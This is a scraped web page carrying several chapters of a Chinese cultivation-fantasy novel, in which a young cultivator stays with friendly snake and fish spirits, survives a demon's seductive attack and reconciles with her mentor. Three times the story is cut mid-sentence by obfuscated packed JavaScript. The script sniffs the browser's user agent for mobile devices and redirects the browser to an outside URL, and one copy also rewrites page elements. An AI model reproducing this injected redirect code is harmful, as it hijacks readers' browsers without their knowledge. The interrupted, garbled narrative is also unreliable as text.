深深的静谧如同一张密不透风的网紧紧裹住她,远方间或传来的兽啼像锐利的爪子抓挠寂静,营造出更深沉的孤寂。 失落感仿佛激流冲刷着她,小小树叶尚能在大树上安稳栖身,她却像沧海一粟漂浮在茫茫人海中,不知道下一个港湾在何方。 不行,不能这样消沉,我已经比原先强大了很多,学会“潜机蛰息术”以后我的修为能和臻境初期的修士持平,还有几件厉害的法宝傍身,前路不会比从前更艰辛。 她想要么还是回百花州去隐居最安全,休息到天色微明时改向西南方前行。 飞过几座山头,地势渐趋平坦,出现农田和城镇。 她怕惹祸,步行避开人烟聚集处,仍向荒野森林里去,又赶了几十里路,一座险峰直插云天,峰顶冰雪堆叠,承接着金色的阳光。 一条羊肠小路迤逦环绕山脚,隐没于峰壑间。 道路两侧巨石罗列,犹如卧牛蹲虎,灵龟蟠龙。 幽深的山谷中雾气霭霭,似乎藏着很多令人忘而怯步的秘密。阵阵阴风在谷中呼啸回旋,临近初夏,气温仍阴森刺骨。 这山里多半有妖物,冉彤不想冒险,改道向西,想绕过这座山谷。 走了两里地,天上落下个黑影。 “小友!” 冉彤已摆开防御架势,看到对方的长相后迟疑回应:“您是松阳的黑鱼前辈?” 来人正是松阳城里的黑鱼精,他笑呵呵的,明显很高兴,说:“那天你走后一直没消息,我还替你担心呢,没想到在这儿遇见。那‘瞒天过海’王霸来找过我,说秦不羁不会再来骚扰我们了,还说是你替我们家求的情,真是谢谢啊。” 他掏出“避水珠”递给她:“这是当初说好的谢礼,你快收下吧。” 冉彤听封六郞说松阳危急时黑鱼精也参与到了救护行动中,更相信他是只好妖怪,这避水珠本是她应得的,便不客气地接过收下。 “前辈来此做什么呢?” “我来找朋友,上次不是打算搬家吗?我朋友说这山里有个无主的大水潭很适合我们家居住,我便托他先帮忙修缮。如今秦不羁不找我们麻烦了,这个家也不必搬了,所以我今日特地来向朋友道谢顺便跟他说明情况。你若不急着赶路,不妨跟我去他的洞府坐坐。” 冉彤和封家人接触后感觉善妖普遍单纯热情,多结交点人脉是好事,便跟随黑鱼精重返那座山谷。 闲聊中她报上假名童大姑,得知黑鱼精姓赖,全名赖兴波,家里有五个孩子,老婆几十年前练功出了岔子,常年卧病不起。 “我还愁搬家后她那身子骨经不起折腾,多亏你劝退秦不羁,不仅保住我家老幺,还救了我夫人。” 赖兴波话里话外都很感激,冉彤想今后如需求助,他多半不会推拒。 二人来到山坳的洞府,赖兴波用神识传讯,主人旋即出门迎接,是一位面如冠玉的绿衣老先生。 赖兴波介绍说老先生名叫“何东篱”,让冉彤称呼他“东篱先生”。 通常妖修们不主动透露或者显原形,贸然询问对方是什么物种非常不礼貌,冉彤只得偷偷猜测,双方礼貌地行完礼,东篱先生请客人们进门。 洞外杂草丛生,洞内别有一番景象。 迎面清风送花香,晶莹洁白的岩壁上镶嵌众多石英灯,灯光柔和,宛若繁星洒落。 走过一段石径但见小桥流水,水中彩鱼戏莲,桥边玉树交柯。 往里是几间红檐绿窗的精舍,门前空地上摆着石头造的八仙桌、棋盘、鼓凳、琴台、罗汉床……一个小少年正同一个小女孩追逐嬉戏。 那少年身材瘦小,模样清秀,至多十三四岁,两边脸颊上还长着几片黑色的鳞片。 那小女孩更是徒具人形,满脸细密的红鳞,鼻梁扁平,鼻孔朝天,嘴角裂到耳根处,一双红色的大眼睛里装着两个竖状的瞳孔,整个面部呈现蛇类的特征。 她跑动速度很快,腿部看起来软踏踏的,小腿贴地滑行,粗短的腰部扭来扭去,像个大号的不倒翁玩偶。 何东篱吩咐那少年:“小凤,快叫你母亲出来见客。” 少年忙抱起小女孩往西侧的厢房里跑,小女孩爬在他肩上打量冉彤,嘴里吐出端口开叉的红信子,真是条小蛇妖。 何东篱对冉彤说:“他们是老夫的外甥,哥哥叫小凤,妹妹叫小菊,还不太懂人族的礼仪,小友莫要见怪。” 冉彤猜他也是蛇精,少时西厢房走出一位红衣美妇人,领着两个孩子向客人们问好,招呼他们去堂上饮茶。 何氏兄妹很好客,听说冉彤是赖兴波全家的恩人,更要殷勤接待,拿出珍藏的灵果请她品尝。 那果子冉彤没见过,听说叫金花甘露果,吃了能延年益寿。一碟只四个,形状像芋头,红艳艳的好不喜人。 她见小菊躲在母亲裙边眼巴巴盯着桌上的灵果,便拿了一颗给她。 何夫人忙止住:“这是专给贵客吃的,莫要惯着她。” 冉彤连说不妨事,给两个孩子一人分了一个。 小菊接了果子脆生生说声:“谢谢。”,不理会母亲的训斥,扭头游走了。 小凤直向冉彤摆手:“您别看我们外表是小孩儿,实际岁数可比您大多了,这果子给我们吃也就混个嘴馋,您吃了才大有益处。” 何东篱责备:“不懂规矩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前日松阳大乱,大妖封无牙全家来救场,晚辈给他们提供了一些情报,事后他们带我去灵樾森,让我在封无牙的花园里采了些灵植做酬劳,其中就有这‘三叶玉髓子’。” 三妖直夸她运气好,赖兴波更喜出望外。 “童小友接连救了我家两次,往后赖某跟你就是过命的交情了,若有急难务必来松阳找我。” 何东篱说:“老夫与赖老弟情同手足,也欠了童小友一份情,将来定会尽心报答。” 冉彤先将人情记入账本,再向他们打听兽族和水族的纷争。 原来八年前北海老龙夫妇连同其独生女,一家三口一夜间全部横死。妖丹被夺,尸体被毁,凶手法力高强,作案手法极其残忍。 水族妖王派人调查,手下人怀疑是许家干的。 这许家是豹族的一支,住在滨海的披霞山,和北海老龙是多年的邻居。 早年两家关系不错,双方还曾考虑联姻,后来不知为何好事未成反结下梁子,从此长期交恶。 “他们关系虽差,但也只是互不往来,并没有大的摩擦。只因北海老龙人缘好,没别的仇家,水族才觉得许家嫌疑最大。许家当然喊冤,马上去求费大王主持公道。” 现任兽王费彪是头雄狮精,其母许太后正出自许家,他算是许家家主的外甥。 有这层关系在他肯定维护母舅一方,也派出一批人参与调查。谁成想没抓到杀害北海老龙的真凶,反而寻着线索揪出一连串相似的案件。 这些案子里遇害或失踪的都是蛟龙族成员,人数多达一二百,这还只是太清教这边统计 的,相关时间竟能追溯到千年前。 消息一出,整个水族都震动了,蛟龙族是水族最尊贵的部族,多数妖王都诞生于此,大量族人惨遭屠杀,实是奇耻大辱,阖族上下强烈要求许家偿命。 许家连北海老龙的案子都不认,更否认与其他案件有关。 苦主和嫌犯都有权有势,对峙过程中使得兽族与水族关系恶化,近年来频频动武,迟早会引发大规模战乱。 冉彤只当奇闻听,决定以后避开两族杂居的区域,免得受牵连。 当晚她应主人挽留在客房过夜,睡到半夜胸口像被石块压着,闷得喘不过气,伸手摸到凉飕飕的蛇鳞,一条大腿粗的蟒蛇正盘在她身侧,蛇头直接搁在她胸口。 她不禁高声惊叫,飞身下床,准备战斗。 先用神识观察敌人,见一条红鳞大蟒正懒洋洋从棉被下探头,呆呆地朝她吐着信子。 何氏兄妹和赖兴波先后赶来,冉彤还提防他们加害,却见赖兴波挺身将她护在身后,急问:“童小友,出什么事了!?” 冉彤指着床上的红蛇说:“那条蛇趁我睡觉跑到我床上去了。” 何夫人奔向床铺,抓起红蛇,红蛇缠住她的腰身变回小女孩形态。 “小菊,你太淘气了,怎么能惊扰客人呢?” 何夫人作势拍了女儿两下,忙跟着何东篱向冉彤道歉。 冉彤弄清情况,明白是一场虚惊。 那小菊懵懵懂懂看向她,当双方目光对视时,突然调头将脸埋在母亲颈窝里,俨然是犯了错还耍赖的幼儿。 58.遇魔 何东篱让何夫人抱走孩子,安慰冉彤一番便和赖兴波离开了。 冉彤睡不着,在床上打坐,过了一会儿窗棂微微响动,显出原形的小菊又爬进屋子,见她醒着,不敢靠近,盘踞在墙角憨憨地望着她。 这小蛇妖刚进入化形期,智识相当于人类幼崽,调皮可以原谅。 冉彤猜她喜欢亲近人类,和善笑问:“你想挨着我睡吗?过来吧。” 她一招手,小菊马上游上床不轻不重缠住她,下巴搁在她肩头。 这姿势想必很舒服,她不时惬意地吐出信子轻舔冉彤的颈窝,稍后向前滑行,张嘴往她手心里吐出一颗红色的指甲盖大小的丹丸。 冉彤纳闷她想干嘛,问:“这是你的内丹吗?” 小菊点头,奶声奶气说:“我才五百岁就练出这么大的内丹,是不是很厉害?” 敢情在炫耀啊。 孩子气的举动逗乐冉彤,她小时候练成一样法术也会兴冲冲向长辈显摆,小菊比她当初单纯多了,竟不对初次见面的客人设防,基本的戒心都不教她培养,她父母也是心大。 “小菊,内丹如同你的性命,不能随便给人看。尤其是人类,很多人族修士专门杀妖取丹,遇上他们你就完了。” 何夫人来寻女儿,正听见冉彤教育小菊,感激道:“童小友,我家这野丫头又来捣乱了。你不该给她脸,只管狠狠撵走便是。” 冉彤笑道:“令嫒很可爱,她平时是不是也喜欢亲近人类啊?” 何夫人上前抱开小菊,无奈道:“我们住的地方靠近一座村子,那儿的村民和我家关系好,小菊从小爱进村玩,村民们也都喜欢她,久而久之就成这样了。不管我和她爹怎么打骂她都不长记性,所以我想把她放在哥哥这里寄养一段时间,让她学会和人族保持距离。” 冉彤想多了解妖族的生活状况,请她坐下聊天。 何夫人说那王化沟不知为何从百年前起便不下雨了,村民们只好花钱请修士做法降雨,维持耕织。 日子久了家家都入不敷出,有能力的便举家搬离了,剩下的穷苦人家无力另谋出路,又负担不起高昂的降雨费,不想办法只能等死。 “我们本来也想搬走的,搬家前我丈夫见村里人实在可怜,便做法为他们降了一场雨,正好被人看见了。那些村民一直知道我们住在山里,平时进山都很小心,我们也不去惊扰他们。经过那次后村民们把我丈夫当成救星,担着牛羊祭品进山求我们继续帮他们降雨。” 那些村民食不果腹,祭品是全村最后的财产了,他们把生的希望寄托在蛇妖身上,哀求夫妇俩做当地的山神,守护一方生灵。 “他们真到了山穷水尽的地步,再没人管全村都会饿死。我和相公商量后决定留下,春夏每隔两天为他们降一次雨,秋冬时七天一次。这点小事对我们不算什么,能救几百口人的性命也是不小的功德。” 夫妇俩保得王化沟村风调雨顺,村民们得以繁衍生息,感戴张家的恩惠,将他们当做神明供奉,所以小菊能随意进村玩耍,村里历代孩童都是她的玩伴。 难得听说人妖和平相处的例子,冉彤十分感动,转念又替张家担心。 “人妖两族签署了禁令,妖族不得干涉凡人的生活,这事传出去那些不讲理的人族修士或许会找贤伉俪的麻烦。” 最有可能找茬的就是统御修真界的离恨天。 何夫人让她放心:“王化沟在荥经城治下,那儿的修士都瞧不上王化沟村那小地方,知道了也没人管。我们家行事也很低调,村民一直说要给我们修建寺庙,都被我和相公制止了,就是防着被人抓把柄。” 她俩聊天时小菊爬在母亲怀里睡着了,冉彤推测这孩子至少还得七八百年方能完全化形,如果一直生在宁静幸福的环境里,应该会很顺利。 早上她执意拒绝主人挽留,告辞上路。 临别时何东篱赠给她一枚蛇牙吊坠。 “人妖有别,也没有合适的丹药和法宝送你,这吊坠有防毒功效,小友日常戴着做个防身之物吧。” 那蛇牙长约二寸,呈新月状,洁白光润,煞是好看,大约是用他自己的牙炼制的。 赖兴波亲自送冉彤出谷,在谷口同她道别。 “童小友,我要赶回家给夫人配药就恕不远送了。这附近我是知道的,方圆五六百里都很清静,你可放宽心。” 他这次拜访何东篱带了些礼物,临时扣下一片清凉晶送给冉彤。 这碧绿的晶石外观酷似一片小小的铜钱草叶片,含在口中可抵御幻术,保持神志清醒。 冉彤偶遇故人,有了不小的收获,一扫与夏炎闹掰的沮丧,容光焕发地向前低空飞行。 赶了一百多里路,一阵呼救声钻入耳朵。 “救命啊~救命啊~” 呼救者是个年轻男子,音色清亮柔美,只闻其声就能使人联想到一副绝色形容。 冉彤以神识探查,那凡人男子躺在西边几十丈外的山石下,像疾病发作,捂着肚子不住叫唤。 此人果然姿容上佳,星眸形似春桃花瓣,双眉犹如墨画青山,肤白胜羊脂,唇红若涂脂,青丝半掩添娇态,绰约风情惹人怜。 冉彤没见过这么富有妖娆之美的男人,直觉反常,再细瞅一阵,见他衣着富贵,像有钱人家的公子,身边却没有仆从陪侍。衣服鞋袜都干干净净,也不像远路奔波的样子。 她孤身一人戒心重,不愿理会可疑人色,加快速度飞行。 俄顷,又听到那呼救声,这次是从东面来的。 不用怀疑了,肯定有鬼! 她连忙取出清凉晶含在嘴里,再飞出两里地,那青年竟躺在前方一棵大树下,抬着头向她招手。 “姑娘,救救我!” 他那双紫眸细看端的勾魂夺魄,朱唇半启,玉面含娇,比最妖艳的女人还妩媚百倍。 冉彤心想没有清凉晶防护自己多半会中他的媚术,不敢多看,飞速向高空中逃离。 身体陡然发沉,被一股怪力拉着笔直坠落,摔倒在草丛中。 青年就坐在她右前方四五丈的地方,捂着心口娇喘责怪:“姑娘没听见我喊救命吗?面相瞧着挺善良,怎的这般狠心?” 他身上依然找不到妖气或灵气,但绝非凡人,冉彤警惕后退,质问:“阁下强行留人,是何意图?” “我想求你救我啊,我就要渴死了,你快帮我找点喝的。” 冉彤指着南面说:“那边不远有处清泉,阁下何不过去寻水喝?” 青年直叫苦:“我走不动,你扶我过去吧。” 他行迹这么诡异,冉彤怎敢靠近,假装为难道:“男女有别,我一个姑娘家怎好扶你?” 她折断一根树枝做成拐杖抛过去。 “阁下可用这个借力。” “不行,我连站起来的力气都没有,没人扶我动不了。你过来嘛,求你了。” 青年语气越发嗲得不像话,那撒娇的功力常人见了一准酥断骨头。 冉彤一边摆手一边后退,脑门已浮起毛毛汗,强笑搪塞:“不不,请恕小女子爱莫能助,阁下还是另想办法吧,告辞。” 转身欲逃,青年陡然化作一股黑烟扑向她,她躲闪不及,赶忙双手交叉护住面门,锐利的气刃连续向上划过玄鳌灵甲和冰河犀护腕,在她右手肘上割出一条深深的血口子。 冉彤急速后撤,站稳脚跟时那青年已恢复人形,俏生生立在五丈之外,右手食指裹满鲜血,那长而尖的指甲就是伤人的凶器。 “好狠心的丫头,人家都那么卖力求你了,你居然还不心动。” 他粉面含嗔,伸出丁香小舌舔舐沾血的手指,继而媚眼如丝地品味,赞叹道:“滋味不错,用来解渴正好。” 冉彤不敢再耽搁,挥手甩出震爆符。 大片森林被爆炸夷平,她趁乱出逃,身体遭无形的怪力禁锢。 青年嘿嘿娇笑着出现在前方渐渐散去的烟尘中,爆炸令他的身体千疮百孔,一般人早不能动弹,他却没事人似的轻松飞舞,体表的损伤以离奇的速度愈合着,不久皮肉光润如初,衣服也完整修复了。 真是活见鬼了,可他也不是鬼修啊! 冉彤拼命使劲,筋骨肌肉像被铁索缠死了,手指都难以弯曲,眼睁睁看青年阴笑着飞到她跟前,下巴被他冰冷的指尖勾住抬起。 “细看长得真不怎么样,能被我这样美貌的男子吃掉,实在很幸运。放心,我会让你死得飘飘欲仙,一点都不疼。” 他舔着嘴角,明送秋波,冉彤近距离承受更猛烈的媚术,清凉晶逐渐失效,心神摇荡,竟忘记自己身陷绝境,对他的诱惑心生向往。 青年满意地看着她迅速迷离的眼神,捏住她的下颌,张开红唇,妄图送上死亡之吻。 数道紫火骤然窜上他的身体,他惨叫退开,冉彤身体解封,力道尚未恢复,猛地向下坠落,被另一股力量轻轻托起,同时清醒过来。 她抬头看到熟悉的蓝色身影,一颗心瞬间从地狱飞进天堂,惊喜激动地呼喊:“前辈!” 夏炎肃然注视那青年,他的身体被紫火烧成焦炭,脸还完好无损,并且仍能正常说话。 “紫霄神焰,真没想到能在这儿遇见大名鼎鼎的夏仙尊。” 夏炎的神识竟未能看穿他的本来面目,断然念诵降魔咒,紫光携带无数金色符文裹住青年,逼得他厉声惨叫。 冉彤密切观战,见青年怒目圆睁,眼瞳转为金黄色,竖状的瞳孔尖细如针,耳廓上方也变成尖角状,似乎是稀有品种的妖物,却听夏炎冷声说:“原来是个魔种。” 魔族们突破不了凡界的防御禁制,又向往凡界优越的生存条件,时常以投胎转世的方式偷渡潜入。 由于许多凡人不懂分辨,魔物们又不断改进隐藏方法,魔种降生并为害的事件时有发生。 修真界在这方面防控严格,魔物在成长过程中总会暴露诸多异常。 比如家里饲养的六畜会无故惨死,亲人会莫名地疯癫病重,家中食物和住家附近的水源会受不明毒素污染…… 各门派要求凡人们一旦发现此类异情必须立即上报,所以魔物基本上都被扼杀在幼年状态。 眼前这个不仅是成年体,还至少活了四五百岁,才能拥有这不死不灭的能力。 青年的惨叫声由高转低,抗住了降魔咒的威力,盯着夏炎忍痛冷笑:“还真是个不错的男人呢,可惜太不懂得怜香惜玉。” 他的部分身躯已化为黑灰,倏地变成几十个骷髅图案,张口扑向夏炎,被夏炎的灵压击散后又化作一群血红色的蝴蝶,将其团团包围。 这些蝴蝶都长着青年的脸,无数双金色眼瞳齐刷刷向他施展幻魅之术。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906970|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夏炎挥手放出成群紫色飞鸟啄食蝴蝶,厌恶呵斥:“趁早把你那些下流手段收起来,本座见不得脏东西。” 法力反弹,青年的躯体碎成粉末,只剩美丽的头颅上下浮动,头发像一条长长的黑尾巴随风飘扬,情状恐怖又诡丽。 “不解风情的男人最无趣了,假如我是女儿身,你还会这么狠心吗?” 夏炎见降魔咒暂时杀不死他,抛出一只金色的正方形笼子将其困住,再用紫火焚烧。 青年的长发密实地包裹住整颗脑袋,释放出阵阵黑气抵御火焰,虽无力脱逃,也能长时间坚守。 “你好像只剩下三成法力了,怪不得出手这么温柔,我都能想象被你爱抚的滋味是多么销魂了。” 露骨羞辱激怒夏炎,高声吩咐冉彤:“丫头,借你雷力一用!” 冉彤忙问:“该怎么做呢?” “像你当初暗算老夫那样。” 她不明白原理,先照他的指示行动,用丹力引动他体内那缕天罡真雷。 夏炎受鬼道限制施展不出雷系法术,被冉彤植入真雷后将错就错找到转化运用雷力的方法,真雷启动时,他在笼子周围架起 四面金色的镜子,朝着其中一扇镜面施放雷力。 雷电击中青年后被镜面反弹到另一扇镜子上,持续循环不断地进攻。 天罡真雷乃天地正气之精粹衍化提炼而成,是所有邪魔恶秽的克星。在夏炎强大法力的支持下,微小的一缕也能发挥千百倍威力。 青年头发被烧焦,脸被熏黑,发出非人的凄厉怪叫,烧焦的恶臭令人作呕。 夏炎知道这样仍不足以消灭他,准备将他放逐到异空间去。 天边突然射来一道乌鸦形态的黑气,撞进笼子,叼住那头颅闪遁逃离。 夏炎派遣十名金甲战士追击,但很快失去敌人的踪迹。 战斗结束,冉彤心有余悸地擦着脸上的冷汗。 夏炎降落到她跟前,右手按在她头顶,见她想躲,正色道:“那魔物在你身上下了诅咒,老夫先帮你净化。” 冉彤老实站好,等他驱除了魔气顺带为她治好手伤,却忽然不想道谢了。 老鬼前天任她伤心离去,现在才追来也太迟了些,她才不要这么快和好,以免显得太掉价。 夏炎看她还在赌气,叹道:“你这丫头气性太大了,稍微说你几句就闹出走。” 冉彤扭头看向别处,偏要撅起嘴抱怨:“明明是前辈先不要我的,我不走等着您撵人吗?” “你看看,又无中生有,老夫何曾那么想过?” “前辈法力高强,真不想晚辈走,晚辈插上翅膀也飞不出封老的洞府,更莫说跑这么远了。” 寻常能说会道的人都斗不过她的利嘴,遑论夏炎,只得默默忍受挤兑。 二人相对无言,冉彤想看看他的表情,用眼睛瞧气势上会输,用神识偷瞄又会被发现,真担心这样闷下去夏炎会失去耐性,赶紧琢磨如何下台。 夏炎没想跟她较劲,知道小姑娘任性起来不分青红皂白,所以先不招惹她。 见她吐出口中的清凉晶才顺势说:“说你莽撞你是一点不肯改,随随便便在化形大妖的巢穴过夜,有个好歹谁来救你?” 他知道她在何东篱家留宿,说明一路都在跟踪她,至于原因,当然是担心啦。 冉彤心花怒放,反而使劲绷紧脸皮,越要摆出高姿态,不让夏炎觉得她很好哄。 会哭的孩子有奶吃,这是她长年跟长辈耍心眼总结出的心得。 “晚辈又不是傻瓜,会分辨好人坏人。” 夏炎觉得这话没心没肺,责备:“那你为何错怪老夫?难道老夫对你还不及那鱼妖和蛇精?” 不独情侣间会吃醋,亲人、朋友间也会,而醋意往往代表在乎。 冉彤快压不住嘴角,用力咬着嘴唇装模作样看向他。 “前辈还不是一样误会晚辈,晚辈昨天当着您喊冤您都不听,硬要遗弃我。” “唉,老夫真没那种想法。是想给你一个安全稳定的环境,让你能专心修行,不用再跟着老夫冒险。” “所以您只顾自己安心,根本不在乎晚辈的感受。晚辈不想寄人篱下。” “你跟着老夫就不是寄人篱下?” “前辈果然把晚辈当做包袱。” “……好好说话,不许抬杠。” “您这么凶,谁敢说真话啊?” 夏炎见冉彤瘪起小嘴,不想再看到她的哭相,无计可施地放缓表情腔调。 “你想说什么就说什么,老夫保证不发火。” 冉彤诡计得逞,开始为自己争取平等。 “晚辈留在封家就是个多余的人,跟着前辈还能时不时帮衬您,能发挥作用就不算寄人篱下。” 夏炎不由得失笑:“你能帮老夫什么?” “帮您吵架啊,晚辈的口才有多好,您是知道的,比如刚才那个魔物,要是您当时一声令下,我准能骂得他后悔投胎做人。” 冉彤煞有介事地夸耀着,夏炎终于没憋住,笑得久久停不下来。 相识以来冉彤第一次见他笑得如此开怀,好看的脸配上灿烂的表情,仿佛晴空中的艳阳,散尽阴霾,融化霜雪。 她像沐浴阳光的黄鹂鸟,跟着发出清脆的笑声,所有气恼都一扫而空了。 59.买衣服 夏炎提防刚才的战斗会引来麻烦,用缩地术带冉彤转移,二人边走边交谈。 冉彤好奇那魔物的来历,因为通常情况下偷渡来的魔族活不了那么久,不说人族了,善妖有除魔的自觉,恶妖喜用魔物练功,被妖修们遇上它们也得死。 “老夫怀疑那魔物是被人抚养长大的,至于是谁还不好说。” 冉彤惊疑:“会有人饲养魔物吗?” 妖鬼尚有善恶之分,魔族不同,它们生性至恶,没有情感,不服从人类管束,更不会感恩,养它们注定是亏本买卖,十有八九还会遭反噬。 这情况固然严重,却还比不上地母那边干系大,夏炎决定先调查后者。 “老夫要去查一件危险的案子,你先回灵樾森住几天,老夫办完事再去接你。” 冉彤听封六郞说夏炎去调查过松阳城的“残秽之渊”,她对这害死父母,几乎害她殒命的凶地充满疑问,忙向他打听。 “前辈,那‘残秽之渊’是怎么形成的呀,瘴气又是从哪儿来的,您知道吗?” 听夏炎讲述离恨天改动灵脉的劣行,她震惊害怕,最后都转化成强烈的愤怒。 “这行径比魔道还坏!道祖如此祸害天下生灵,就是个欺世盗名的骗子!” 夏炎有点意外:“毗沙号称人界唯一正神,一般人敬畏到提起他的名号都紧张,你还敢骂他?” 冉彤更恶声恶气嗔嚷:“有什么不敢的?从小到大谁惹我不痛快了我就骂谁,倘若家里人欺负我,我也能骂遍他的族谱!” 夏炎忍笑道:“你和他共用一张族谱,岂不是在骂自己的祖宗?” “管他呢,就算是祖宗想压迫我,我也照样造他的反!” 她气鼓鼓的,活像发怒的猫,激烈言辞彰显出天不怕地不怕的叛逆。 结合她的行为习惯,夏炎相信她没说大话,丝毫不觉得粗鲁,反而更欣赏了。 生活在等级制度下的人或多或少都存在奴性,这精神枷锁妨碍个体独立思考,束缚个人的自由意志,阻止他们正确认识世界,否定自身价值,回避真实事物。 当年他在与黑暗势力斗争的过程中遭遇的最大阻力不是强大的敌人,而是广大人群的奴性。 那些被强权驯化的人,不分贵贱全是奴隶,他们不敢挑战权威否定陋习,盲目接受不合理的压迫和观念,协助恶势力否定新思想、新技术。甘当坏人的帮凶,为极、权和专、制提供土壤,维护离恨天敲骨吸髓的独、裁统治。 他能用武力击溃敌人,却很难扶正人心,身边虽有众多忠实的拥护者,可是很少见到像冉彤这样毫无奴性,富有宝贵反抗精神的人。 这么看来这丫头真是他无意中捡到的璞玉,值得悉心雕琢。 “你的震爆符只剩两张了。” 冉彤以为他怪自己大手大脚,毕竟那符纸很昂贵,忙辩解:“晚辈也没想到会接连遇上这么多重大险情,多亏您送的符纸保命,不然晚辈都死好几遍了。” 夏炎说:“老夫前天去过那家店,那符纸断货了,掌柜不确定什么时候能补齐原料,只好以后去别的店问问了。” 他取出一颗小泥丸递给冉彤,和上次在青龙沟送她的一模一样。 “前次那泥丸炼制得很马虎,这颗多花了些心思,效力也更强,足以困住秦不羁那种级别的敌人。但以你的修为一天之内至多启动一次,你要看准时机再用。” 冉彤忍住欢喜,不愿流露目光短浅的穷酸样,冷着脸说:“前辈的礼物晚辈不敢要。” “怎么?” “刚挨了耳光,再好的糖吃到嘴里也不甜。” “你这丫头。” 夏炎好气又好笑,忽然觉得这场景有种久远的即视感,仔细琢磨,他小时候不也是这么跟教训他的长辈们顶嘴的么? 怪不得对这丫头有亲切感,被她嘴快冒犯也不生气,这至情至性的脾气就和他对味。 喜欢归喜欢,也不能太纵着她,于是正经说明:“老夫从无虚言,说好照管你就不能让你有闪失,这泥丸是给你防身用的,你拿着它还能帮老夫节省些精力。” 他没将法宝定性成赏赐,冉彤方道谢收下,满脸明媚,再找不到阴郁的色调。 夏炎又要来赖兴波赠她的清凉晶施法加持,日后若再遇尚与那魔物同级别的幻术也不会被迷惑了。 冉彤趁他心情好,央求:“前辈,晚辈不想回灵樾森,想跟您去查案。你可以像上次那样把我藏在衣服里,有情况晚辈兴许还能接应一二。” 夏炎沉默拒绝。 冉彤不死心,卖力撒娇:“晚辈虽没资格为您操心,可就是会忍不住担心嘛。俗话说吉人自有天相,晚辈自认运气不错,每遇危难都能逢凶化吉,您就当晚辈是吉祥物,带上我吧。” 她止步不前,夏炎停下催她快走。 “您不答应晚辈就不走!” 有了先前的经验,她耍起赖皮毫无顾虑,所谓“流水不腐”,四处探索更容易撞见机缘,也可随时向夏炎求教。灵樾森的资源她目前还用不上,封无牙想必也没有合适的法术教她,呆在那边白费时间。 夏炎不做声地注视她,一般小辈怕他发火估计就怂了。 冉彤已吃透他的脾气,也惯会降服长辈,只管委屈巴巴站着,看样子能跟他耗到天荒地老。 夏炎没进行过这么幼稚的对峙,硬要说有,当属早年训养的灵宠。 那些动物智识未开都比冉彤听说听教。 “行吧。” 他想了想没有非拒绝不可的理由,依旧妥协,先严肃提醒她:“你要听话,未经老夫许可不得擅自行动。” “嗯!晚辈会先征求您的意见,绝不给您添乱!” 冉彤蹦跳着欢呼,既有如愿以偿的喜悦,又有成功邀宠的得意。 夏炎看她破掉的袖子还没补好,想她这身衣服已经很旧了。这丫头爱漂亮,穿成这样肯定不痛快,便带她去就近的襄北城买衣服。 冉彤一听这个地名更惊喜,据说襄北城的宝光寺有一口能映出人前世形容的轮回井,她早想去瞧一瞧。 在夏炎看来这愿望很无聊,那水井只能照出前世的模样,看了也不知道自己上辈子是什么人。而且人转世后改头换面的几率很小,照出来的形貌大概和今生一样,纯属浪费钱。 说浪费钱一点不夸张,那宝光寺的历代主持都将轮回井当做敛财工具,照一次需缴纳两千两银子的巨款,前去照影的人大部分属于钱多烧得慌。 “照那水井须花费白银两千两,你有钱吗?” “这么贵啊!?” 冉彤骂主持奸商,可好奇心像杯水泼地收不回去。她对钱财的态度一向是千金散去还复来,觉得这次不了愿,今后定会常惦记。 “晚辈在吴敬轩的庄园做客时,翩翩姐给了我一千两银子做谢礼,晚辈再去跟那主持砍砍价,兴许能行。” 卖字的钱还剩两千多两,听夏炎的口风应该没搜查过她的储物袋,不妨撒点小谎。 夏炎还真不习惯查看女孩子的私人物品,这次又被她蒙住,见她一心要去照轮回井,便取出一颗鸡蛋大的玄黄石。 “把这石头交给那主持,他会许你去照影的。” 玄黄石是炼器的高级辅料,这小小的一颗市价少说四五千两。 冉彤笑如烂柿,喜滋滋接过来。 “前辈对我真好!” 长相讨喜,小嘴还甜,大凡上了年纪的老人家都抵挡不住这份纯纯的可爱。 夏炎无奈地瞅了瞅她,数落:“善变的丫头,不久前还怨老夫遗弃你,这么快就改说法了?” 冉彤抿着嘴唇,摇头晃脑装憨:“晚辈知道前辈喜欢诚实的人,才没对您掩饰想法,您也不想晚辈口是心非地同您讲话吧。” 夏炎笑斥:“猴精。” 她认真反驳:“猴子至少修炼一千年才能化形,晚辈在娘胎里就得了人形,比猴子聪明多了。” “越说你还越来劲,女孩子含蓄点不好吗?” “原来前辈喜欢含蓄的女子啊?您说话做事都这么庄重,再配个跟您一样的,那可真要相敬如宾了,怪没意思的。” “放肆。” “人家想哄您开心嘛,晚辈在家时爹娘也常嫌我吵,可要是我哪天没回家,他们又都觉得不习惯,说还是晚辈在的时候有人气。前辈在那地宫里困了一千年,一定很冷清,要是那会儿有个像晚辈这么饶舌的人陪您聊天,您是不是会好受些?” 冉彤趁气氛融洽套夏炎的话,夏炎当她童言无忌,言辞也很贴心。 那一千年的暗狱的确痛苦难熬,纵是心境强大如他也不敢多加回忆,度日如年时他都靠倾听外间的虫鸣鸟叫排解孤寂。 世界只剩下黑暗,有时很难分清虚幻和现实。大部分时候他会自言自语抒发苦闷,不停描述外面秀丽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 